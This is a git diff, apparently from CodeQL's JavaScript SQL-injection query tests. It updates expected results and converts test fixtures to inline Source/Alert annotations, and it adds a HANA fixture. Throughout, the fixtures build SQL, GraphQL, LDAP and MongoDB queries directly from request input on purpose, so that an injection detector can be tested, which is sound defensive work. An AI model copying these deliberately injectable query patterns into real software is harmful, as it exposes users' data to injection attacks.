-| mongoose.js:116:22:116:25 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:116:22:116:25 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:117:21:117:24 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:117:21:117:24 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:118:21:118:24 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:118:21:118:24 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:119:18:119:21 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:119:18:119:21 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:120:22:120:25 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:120:22:120:25 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:121:16:121:19 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:121:16:121:19 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:122:19:122:22 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:122:19:122:22 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:123:20:123:21 | id | mongoose.js:115:11:115:22 | req.query.id | mongoose.js:123:20:123:21 | id | This query object depends on a $@. | mongoose.js:115:11:115:22 | req.query.id | user-provided value |
-| mongoose.js:124:28:124:31 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:124:28:124:31 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:125:28:125:31 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:125:28:125:31 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:126:28:126:31 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:126:28:126:31 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:127:18:127:21 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:127:18:127:21 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:128:22:128:25 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:128:22:128:25 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:129:21:129:24 | cond | mongoose.js:115:32:115:45 | req.query.cond | mongoose.js:129:21:129:24 | cond | This query object depends on a $@. | mongoose.js:115:32:115:45 | req.query.cond | user-provided value |
-| mongoose.js:130:16:130:26 | { _id: id } | mongoose.js:115:11:115:22 | req.query.id | mongoose.js:130:16:130:26 | { _id: id } | This query object depends on a $@. | mongoose.js:115:11:115:22 | req.query.id | user-provided value |
-| mongoose.js:136:30:136:34 | query | mongoose.js:21:16:21:23 | req.body | mongoose.js:136:30:136:34 | query | This query object depends on a $@. | mongoose.js:21:16:21:23 | req.body | user-provided value |
-| mongooseJsonParse.js:23:19:23:23 | query | mongooseJsonParse.js:20:30:20:43 | req.query.data | mongooseJsonParse.js:23:19:23:23 | query | This query object depends on a $@. | mongooseJsonParse.js:20:30:20:43 | req.query.data | user-provided value |
-| mongooseModelClient.js:11:16:11:24 | { id: v } | mongooseModelClient.js:10:22:10:29 | req.body | mongooseModelClient.js:11:16:11:24 | { id: v } | This query object depends on a $@. | mongooseModelClient.js:10:22:10:29 | req.body | user-provided value |
-| mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | mongooseModelClient.js:12:22:12:29 | req.body | mongooseModelClient.js:12:16:12:34 | { id: req.body.id } | This query object depends on a $@. | mongooseModelClient.js:12:22:12:29 | req.body | user-provided value |
-| mysql.js:15:18:15:65 | 'SELECT ...  + temp | mysql.js:6:16:6:31 | req.params.value | mysql.js:15:18:15:65 | 'SELECT ...  + temp | This query string depends on a $@. | mysql.js:6:16:6:31 | req.params.value | user-provided value |
-| mysql.js:19:26:19:73 | 'SELECT ...  + temp | mysql.js:6:16:6:31 | req.params.value | mysql.js:19:26:19:73 | 'SELECT ...  + temp | This query string depends on a $@. | mysql.js:6:16:6:31 | req.params.value | user-provided value |
-| pg-promise-types.ts:8:17:8:21 | taint | pg-promise-types.ts:7:17:7:28 | req.params.x | pg-promise-types.ts:8:17:8:21 | taint | This query string depends on a $@. | pg-promise-types.ts:7:17:7:28 | req.params.x | user-provided value |
-| pg-promise.js:9:10:9:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:9:10:9:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:10:11:10:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:10:11:10:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:11:17:11:21 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:11:17:11:21 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:12:10:12:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:12:10:12:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:13:12:13:16 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:13:12:13:16 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:14:18:14:22 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:14:18:14:22 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:15:11:15:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:15:11:15:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:16:10:16:14 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:16:10:16:14 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:17:16:17:20 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:17:16:17:20 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:18:12:18:16 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:18:12:18:16 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:19:13:19:17 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:19:13:19:17 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:22:11:22:15 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:22:11:22:15 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:30:13:30:25 | req.params.id | pg-promise.js:30:13:30:25 | req.params.id | pg-promise.js:30:13:30:25 | req.params.id | This query string depends on a $@. | pg-promise.js:30:13:30:25 | req.params.id | user-provided value |
-| pg-promise.js:34:13:34:25 | req.params.id | pg-promise.js:34:13:34:25 | req.params.id | pg-promise.js:34:13:34:25 | req.params.id | This query string depends on a $@. | pg-promise.js:34:13:34:25 | req.params.id | user-provided value |
-| pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | This query string depends on a $@. | pg-promise.js:39:7:39:19 | req.params.id | user-provided value |
-| pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | This query string depends on a $@. | pg-promise.js:40:7:40:21 | req.params.name | user-provided value |
-| pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | pg-promise.js:41:7:41:20 | req.params.foo | pg-promise.js:38:13:42:5 | [\\n      ... n\\n    ] | This query string depends on a $@. | pg-promise.js:41:7:41:20 | req.params.foo | user-provided value |
-| pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:39:7:39:19 | req.params.id | pg-promise.js:39:7:39:19 | req.params.id | This query string depends on a $@. | pg-promise.js:39:7:39:19 | req.params.id | user-provided value |
-| pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:40:7:40:21 | req.params.name | pg-promise.js:40:7:40:21 | req.params.name | This query string depends on a $@. | pg-promise.js:40:7:40:21 | req.params.name | user-provided value |
-| pg-promise.js:47:11:47:23 | req.params.id | pg-promise.js:47:11:47:23 | req.params.id | pg-promise.js:47:11:47:23 | req.params.id | This query string depends on a $@. | pg-promise.js:47:11:47:23 | req.params.id | user-provided value |
-| pg-promise.js:54:11:54:23 | req.params.id | pg-promise.js:54:11:54:23 | req.params.id | pg-promise.js:54:11:54:23 | req.params.id | This query string depends on a $@. | pg-promise.js:54:11:54:23 | req.params.id | user-provided value |
-| pg-promise.js:56:14:56:29 | req.params.title | pg-promise.js:56:14:56:29 | req.params.title | pg-promise.js:56:14:56:29 | req.params.title | This query string depends on a $@. | pg-promise.js:56:14:56:29 | req.params.title | user-provided value |
-| pg-promise.js:60:20:60:24 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:60:20:60:24 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:63:23:63:27 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:63:23:63:27 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| pg-promise.js:64:16:64:20 | query | pg-promise.js:7:16:7:34 | req.params.category | pg-promise.js:64:16:64:20 | query | This query string depends on a $@. | pg-promise.js:7:16:7:34 | req.params.category | user-provided value |
-| redis.js:10:16:10:27 | req.body.key | redis.js:10:16:10:23 | req.body | redis.js:10:16:10:27 | req.body.key | This query object depends on a $@. | redis.js:10:16:10:23 | req.body | user-provided value |
-| redis.js:18:16:18:18 | key | redis.js:12:15:12:22 | req.body | redis.js:18:16:18:18 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
-| redis.js:19:43:19:45 | key | redis.js:12:15:12:22 | req.body | redis.js:19:43:19:45 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
-| redis.js:25:14:25:16 | key | redis.js:12:15:12:22 | req.body | redis.js:25:14:25:16 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
-| redis.js:30:23:30:25 | key | redis.js:12:15:12:22 | req.body | redis.js:30:23:30:25 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
-| redis.js:32:28:32:30 | key | redis.js:12:15:12:22 | req.body | redis.js:32:28:32:30 | key | This query object depends on a $@. | redis.js:12:15:12:22 | req.body | user-provided value |
-| redis.js:39:16:39:18 | key | redis.js:38:17:38:24 | req.body | redis.js:39:16:39:18 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
-| redis.js:43:27:43:29 | key | redis.js:38:17:38:24 | req.body | redis.js:43:27:43:29 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
-| redis.js:46:34:46:36 | key | redis.js:38:17:38:24 | req.body | redis.js:46:34:46:36 | key | This query object depends on a $@. | redis.js:38:17:38:24 | req.body | user-provided value |
-| socketio.js:11:12:11:53 | `INSERT ... andle}` | socketio.js:10:25:10:30 | handle | socketio.js:11:12:11:53 | `INSERT ... andle}` | This query string depends on a $@. | socketio.js:10:25:10:30 | handle | user-provided value |
-| tst2.js:9:27:9:84 | "select ... d + "'" | tst2.js:9:66:9:78 | req.params.id | tst2.js:9:27:9:84 | "select ... d + "'" | This query string depends on a $@. | tst2.js:9:66:9:78 | req.params.id | user-provided value |
-| tst3.js:9:14:9:19 | query1 | tst3.js:8:16:8:34 | req.params.category | tst3.js:9:14:9:19 | query1 | This query string depends on a $@. | tst3.js:8:16:8:34 | req.params.category | user-provided value |
-| tst4.js:8:10:8:66 | 'SELECT ... d + '"' | tst4.js:8:46:8:60 | $routeParams.id | tst4.js:8:10:8:66 | 'SELECT ... d + '"' | This query string depends on a $@. | tst4.js:8:46:8:60 | $routeParams.id | user-provided value |
-| tst.js:10:10:10:64 | 'SELECT ... d + '"' | tst.js:10:46:10:58 | req.params.id | tst.js:10:10:10:64 | 'SELECT ... d + '"' | This query string depends on a $@. | tst.js:10:46:10:58 | req.params.id | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.qlref
index d1d02cbe8d37..444c0e5f46aa 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/SqlInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-089/SqlInjection.ql
+query: Security/CWE-089/SqlInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js
index 723348daf574..94f540c9067f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js
@@ -5,8 +5,7 @@ import { Octokit } from "@octokit/core";
 const kit = new Octokit();
 
 app.get('/post/:id', function(req, res) {
-    const id = req.params.id;
-    // NOT OK
+    const id = req.params.id; // $ Source
     const response = kit.graphql(`
       query {
         repository(owner: "github", name: "${id}") {
@@ -17,45 +16,45 @@ app.get('/post/:id', function(req, res) {
           }
         }
       }
-    `);
+    `); // $ Alert
 });
 
 import { graphql, withCustomRequest } from "@octokit/graphql";
 
 app.get('/user/:id/', function(req, res) {
-    const id = req.params.id;
-    const response = graphql(`foo ${id}`); // NOT OK
+    const id = req.params.id; // $ Source
+    const response = graphql(`foo ${id}`); // $ Alert
 
     const myGraphql = withCustomRequest(request);
-    const response = myGraphql(`foo ${id}`); // NOT OK
+    const response = myGraphql(`foo ${id}`); // $ Alert
 
     const withDefaults = graphql.defaults({});
-    withDefaults(`foo ${id}`); // NOT OK
+    withDefaults(`foo ${id}`); // $ Alert
 });
 
 const { request } = require("@octokit/request");
 
 app.get('/article/:id/', async function(req, res) {
-    const id = req.params.id;
+    const id = req.params.id; // $ Source
     const result = await request("POST /graphql", {
       headers: {
         authorization: "token 0000000000000000000000000000000000000001",
       },
-      query: `foo ${id}`, // NOT OK
+      query: `foo ${id}`, // $ Alert
     });
 
     const withDefaults = request.defaults({});
-    withDefaults("POST /graphql", { query: `foo ${id}` }); // NOT OK
+    withDefaults("POST /graphql", { query: `foo ${id}` }); // $ Alert
 });
 
 import { Octokit as Core } from "@octokit/rest";
 const kit2 = new Core();
 
 app.get('/event/:id/', async function(req, res) {
-    const id = req.params.id;
-    const result = await kit2.graphql(`foo ${id}`); // NOT OK
+    const id = req.params.id; // $ Source
+    const result = await kit2.graphql(`foo ${id}`); // $ Alert
 
-    const result2 = await kit2.request("POST /graphql", { query: `foo ${id}` }); // NOT OK
+    const result2 = await kit2.request("POST /graphql", { query: `foo ${id}` }); // $ Alert
 });
 
 import { graphql as nativeGraphql, buildSchema }  from 'graphql';
@@ -71,23 +70,22 @@ var root = {
 };
 
 app.get('/thing/:id', async function(req, res) {
-  const id = req.query.id;
-  const result = await nativeGraphql(schema, "{ foo" + id + " }", root); // NOT OK
-  
+  const id = req.query.id; // $ Source
+  const result = await nativeGraphql(schema, "{ foo" + id + " }", root); // $ Alert
+
   fetch("https://my-grpahql-server.com/graphql", {
     method: "POST",
     headers: {
       "Content-Type": "application/json"
     },
     body: JSON.stringify({
-      // NOT OK
       query: `{
         thing {
           name
           url
           ${id}
         }
-      }`
+      }` // $ Alert
     })
   })
 
@@ -97,7 +95,7 @@ app.get('/thing/:id', async function(req, res) {
       "Content-Type": "application/json"
     },
     body: JSON.stringify({
-      // OK
+
       query: `{
         thing {
           name
@@ -116,6 +114,6 @@ const github = require('@actions/github');
 app.get('/event/:id/', async function(req, res) {
     const kit = github.getOctokit("foo")
 
-    const id = req.params.id;
-    const result = await kit.graphql(`foo ${id}`); // NOT OK
+    const id = req.params.id; // $ Source
+    const result = await kit.graphql(`foo ${id}`); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js
new file mode 100644
index 000000000000..259ecbbc4d6c
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js
@@ -0,0 +1,95 @@
+const hana = require('@sap/hana-client');
+const express = require('express');
+
+const app = express();
+const connectionParams = {};
+app.post('/documents/find', (req, res) => {
+    const conn = hana.createConnection();
+    conn.connect(connectionParams, (err) => {
+        let maliciousInput = req.body.data; // $ Source
+        const query = `SELECT * FROM Users WHERE username = '${maliciousInput}'`;
+        conn.exec(query, (err, rows) => {}); // $ Alert
+        conn.disconnect();
+    });
+
+    conn.connect(connectionParams, (err) => {
+        const maliciousInput = req.body.data; // $ Source
+        const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ Alert
+        stmt.exec([maliciousInput], (err, rows) => {}); // maliciousInput is treated as a parameter
+        conn.disconnect();
+    });
+
+    conn.connect(connectionParams, (err) => {
+        const maliciousInput = req.body.data; // $ Source
+        var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ Alert
+        stmt.execBatch([[1, maliciousInput], [2, maliciousInput]], function(err, rows) {}); // maliciousInput is treated as a parameter
+        conn.disconnect();
+    });
+
+    conn.connect(connectionParams, (err) => {
+      const maliciousInput = req.body.data; // $ Source
+      var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ Alert
+      stmt.execQuery([100, maliciousInput], function(err, rs) {}); // $ maliciousInput is treated as a parameter
+      conn.disconnect();
+    });
+});
+
+var hdbext = require('@sap/hdbext');
+var express = require('express');
+var dbStream = require('@sap/hana-client/extension/Stream');
+
+var app1 = express();
+const hanaConfig = {};
+app1.use(hdbext.middleware(hanaConfig));
+
+app1.get('/execute-query', function (req, res) {
+  var client = req.db;
+  let maliciousInput = req.body.data; // $ Source
+  client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ Alert
+
+  dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ Alert
+    stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
+  });
+
+  hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ Alert
+    sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
+  });
+});
+
+
+var hdb = require('hdb');
+const async = require('async');
+
+const options = {};
+const app2 = express();
+
+app2.post('/documents/find', (req, res) => {
+  var client = hdb.createClient(options);
+  let maliciousInput = req.body.data; // $ Source
+
+  client.connect(function onconnect(err) {
+    async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ Alert
+
+    client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ Alert
+    client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ Alert
+
+    client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ Alert
+      statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter
+    });
+
+    client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ Alert
+      statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {}); 
+    });
+
+    client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ Alert
+  });
+});
+
+var app3 = express();
+
+app3.get('/execute-query', function (req, res) {
+  var client = req.db;
+  let maliciousInput = req.body.data;
+  client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
+  req.db.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/html-sanitizer.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/html-sanitizer.js
index 50f0293c37fa..65168320a343 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/html-sanitizer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/html-sanitizer.js
@@ -10,9 +10,9 @@ const connection = mysql.createConnection({
     database: 'test'
 });
 
-app.use(route.get('/test1', (context, param1) => {
+app.use(route.get('/test1', (context, param1) => { // $ Source
     param1 = xss(param1)
     connection.query(
-        `SELECT * FROM \`table\` WHERE \`name\` =` + param1, // NOT OK
+        `SELECT * FROM \`table\` WHERE \`name\` =` + param1, // $ Alert
     );
 }));
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/json-schema-validator.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/json-schema-validator.js
index a3bfcfd4a30d..32990a4d9338 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/json-schema-validator.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/json-schema-validator.js
@@ -22,17 +22,17 @@ app.post('/documents/find', (req, res) => {
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
         let doc = db.collection('doc');
 
-        const query = JSON.parse(req.query.data);
+        const query = JSON.parse(req.query.data); // $ Source
         if (checkSchema(query)) {
-            doc.find(query); // OK
+            doc.find(query);
         }
         if (ajv.validate(schema, query)) {
-            doc.find(query); // OK
+            doc.find(query);
         }
         if (validate(query)) {
-            doc.find(query); // NOT OK - validate() doesn't sanitize
+            doc.find(query); // $ Alert - validate() doesn't sanitize
         }
-        doc.find(query); // NOT OK
+        doc.find(query); // $ Alert
     });
 });
 
@@ -47,18 +47,18 @@ app.post('/documents/insert', (req, res) => {
     MongoClient.connect('mongodb://localhost:27017/test', async (err, db) => {
         let doc = db.collection('doc');
 
-        const query = JSON.parse(req.query.data);
+        const query = JSON.parse(req.query.data); // $ Source
         const validate = joiSchema.validate(query);
         if (!validate.error) {
-            doc.find(query); // OK
+            doc.find(query);
         } else {
-            doc.find(query); // NOT OK
+            doc.find(query); // $ Alert
         }
         try {
             await joiSchema.validateAsync(query);
-            doc.find(query); // OK - but still flagged [INCONSISTENCY]
+            doc.find(query); // $ SPURIOUS: Alert
         } catch (e) {
-            doc.find(query); // NOT OK
+            doc.find(query); // $ Alert
         }
     });
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/koarouter.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/koarouter.js
index bc21bb58f4a8..3f7254c9a264 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/koarouter.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/koarouter.js
@@ -2,7 +2,7 @@ const Router = require('koa-router')
 const {Sequelize} = require("sequelize");
 
 new Router().get("/hello", (ctx) => {
-    const { version } = ctx.query;
+    const { version } = ctx.query; // $ Source
 
     if (version && validVersion(version) === false) {
         throw new Error(`invalid version ${version}`);
@@ -14,7 +14,7 @@ new Router().get("/hello", (ctx) => {
         conditions.push(`version = ${version}`)
     }
 
-    new Sequelize().query(`SELECT * FROM t WHERE ${conditions.join(' and ')}`, null); // OK
+    new Sequelize().query(`SELECT * FROM t WHERE ${conditions.join(' and ')}`, null); // $ Alert
 });
 
 function validVersion(version) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/ldap.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/ldap.js
index 9502cace21a8..22bebb085121 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/ldap.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/ldap.js
@@ -17,7 +17,7 @@ const sanitizeInput = function (input) {
 };
 
 const server = http.createServer((req, res) => {
-  let q = url.parse(req.url, true);
+  let q = url.parse(req.url, true); // $ Source
 
   let username = q.query.username;
 
@@ -25,18 +25,18 @@ const server = http.createServer((req, res) => {
     filter: `(|(name=${username})(username=${username}))`,
   };
 
-  client.search("o=example", opts1, function (err, res) {}); // NOT OK
+  client.search("o=example", opts1, function (err, res) {}); // $ Alert
 
   client.search(
     "o=example",
-    { filter: `(|(name=${username})(username=${username}))` }, // NOT OK
+    { filter: `(|(name=${username})(username=${username}))` }, // $ Alert
     function (err, res) {}
   );
 
-  // GOOD
+
   client.search(
     "o=example",
-    { // OK
+    {
       filter: `(|(name=${sanitizeInput(username)})(username=${sanitizeInput(
         username
       )}))`,
@@ -44,7 +44,7 @@ const server = http.createServer((req, res) => {
     function (err, res) {}
   );
 
-  // GOOD (https://github.com/ldapjs/node-ldapjs/issues/181)
+  // OK - https://github.com/ldapjs/node-ldapjs/issues/181
   let f = new OrFilter({
     filters: [
       new EqualityFilter({
@@ -63,9 +63,9 @@ const server = http.createServer((req, res) => {
   const parsedFilter = ldap.parseFilter(
     `(|(name=${username})(username=${username}))`
   );
-  client.search("o=example", { filter: parsedFilter }, function (err, res) {}); // NOT OK
+  client.search("o=example", { filter: parsedFilter }, function (err, res) {}); // $ Alert
 
-  const dn = ldap.parseDN(`cn=${username}`, function (err, dn) {}); // NOT OK
+  const dn = ldap.parseDN(`cn=${username}`, function (err, dn) {}); // $ Alert
 });
 
 server.listen(389, () => {});
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb-flow-to.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb-flow-to.js
index 9b6d9b2fb88a..2400147dfce1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb-flow-to.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb-flow-to.js
@@ -8,8 +8,7 @@ app.use(bodyParser.urlencoded({ extended: true }));
 
 app.post("/documents/find", (req, res) => {
   const query = {};
-  query.title = req.body.title;
+  query.title = req.body.title; // $ Source
 
-  // NOT OK: query is tainted by user-provided object value
-  db.myDoc.find(query, (err, data) => {});
+  db.myDoc.find(query, (err, data) => {}); // $ Alert - query is tainted by user-provided object value
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb.js
index 0ebbb3d8a71a..a72d0c6d3bf0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/marsdb.js
@@ -10,8 +10,7 @@ app.use(bodyParser.urlencoded({ extended: true }));
 
 app.post("/documents/find", (req, res) => {
   const query = {};
-  query.title = req.body.title;
+  query.title = req.body.title; // $ Source
 
-  // NOT OK: query is tainted by user-provided object value
-  doc.find(query, (err, data) => {});
+  doc.find(query, (err, data) => {}); // $ Alert - query is tainted by user-provided object value
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/minimongo.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/minimongo.js
index c2fe712e848c..8de189521547 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/minimongo.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/minimongo.js
@@ -12,8 +12,7 @@ app.use(bodyParser.urlencoded({ extended: true }));
 
 app.post("/documents/find", (req, res) => {
   const query = {};
-  query.title = req.body.title;
+  query.title = req.body.title; // $ Source
 
-  // NOT OK: query is tainted by user-provided object value
-  doc.find(query);
+  doc.find(query); // $ Alert - query is tainted by user-provided object value
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb.js
index fc786da87ab0..a7669bf5dfbf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb.js
@@ -10,26 +10,24 @@ app.use(bodyParser.urlencoded({ extended: true }));
 
 app.post('/documents/find', (req, res) => {
     const query = {};
-    query.title = req.body.title;
+    query.title = req.body.title; // $ Source
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
       let doc = db.collection('doc');
 
-      // NOT OK: query is tainted by user-provided object value
-      doc.find(query);
+      doc.find(query); // $ Alert - query is tainted by user-provided object value
 
-      // OK: user-data is coerced to a string
+      // OK - user-data is coerced to a string
       doc.find({ title: '' + query.body.title });
 
-      // OK: throws unless user-data is a string
+      // OK - throws unless user-data is a string
       doc.find({ title: query.body.title.substr(1) });
 
-      let title = req.body.title;
+      let title = req.body.title; // $ Source
       if (typeof title === "string") {
-        // OK: input checked to be a string
+        // OK - input checked to be a string
         doc.find({ title: title });
 
-        // NOT OK: input is parsed as JSON after string check
-        doc.find({ title: JSON.parse(title) });
+        doc.find({ title: JSON.parse(title) }); // $ Alert - input is parsed as JSON after string check
       }
     });
 });
@@ -39,50 +37,46 @@ app.get('/:id', (req, res) => {
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
       let doc = db.collection('doc');
 
-      // OK: query is tainted, but only by string value
